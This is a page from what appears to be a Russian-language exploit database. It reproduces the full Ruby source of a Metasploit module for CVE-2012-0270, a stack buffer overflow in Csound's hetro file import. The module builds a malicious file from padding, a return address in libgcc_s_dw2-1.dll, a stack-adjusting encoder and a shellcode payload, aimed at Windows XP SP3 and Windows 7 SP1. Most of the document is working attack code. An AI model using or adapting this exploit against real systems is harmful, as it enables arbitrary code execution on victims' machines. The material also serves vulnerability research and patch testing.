Csound hetro File Handling Stack Buffer Overflow Exploit

Свойства

Дата публикации:
05.04.2012
Цель:
Csound hetro
Тип воздействия:
Компрометация системы

Код

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::FILEFORMAT

    def initialize(info = {})
        super(update_info(info,
            'Name' => 'Csound hetro File Handling Stack Buffer Overflow',
            'Description' => %q{
                    This module exploits a buffer overflow in Csound before 5.16.6.
                The overflow occurs when trying to import a malicious hetro file
                from tabular format.
                In order to achieve exploitation the user should import the malicious
                file through csound with a command like "csound -U het_import msf.csd file.het".
                This exploit doesn't work if the "het_import" command is used directly
                to convert the file.
            },
            'License' => MSF_LICENSE,
            'Author' =>
                [
                    'Secunia', # Vulnerability discovery
                    'juan vazquez' # Metasploit module
                ],
            'Version' => '$Revision: $',
            'References' =>
                [
                    [ 'CVE', '2012-0270' ],
                    [ 'OSVDB', '79491' ],
                    [ 'BID', '52144' ],
                    [ 'URL', 'http://secunia.com/secunia_research/2012-3/'; ],
                    [ 'URL', 'http://csound.git.sourceforge.net/git/gitweb.cgi?p=csound/csound5.git;a=commit;h=7d617a9551fb6c552ba16874b71266fcd90f3a6f']
                ],
            'Payload' =>
                {
                    'Space' => 650,
                    'BadChars' => "\x00\x0a\x1a\x2c\xff",
                    'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment # add esp, -3500
                    'DisableNops' => 'True'
                },
            'Platform' => 'win',
            'Targets' =>
                [
                    [ 'Csound 5.15 / Windows XP SP3 / Windows 7 SP1',
                        {
                            'Offset' => 132,
                            'Ret' => 0x6e955446 # push esp #  ret / libgcc_s_dw2-1.dll
                        }
                    ],
                ],
            'Privileged' => false,
            'DefaultTarget' => 0,
            'DisclosureDate' => 'Feb 23 2012'))

        register_options(
            [
                OptString.new('FILENAME', [ false, 'The file name.', 'msf.csd']),
            ], self.class)
    end

    def exploit
        sploit = rand_text(target['Offset'])
        sploit << [target.ret].pack("V")
        sploit << payload.encoded
        print_status("Creating '#{datastore['FILENAME']}' file ...")
        file_create(sploit)
    end

end

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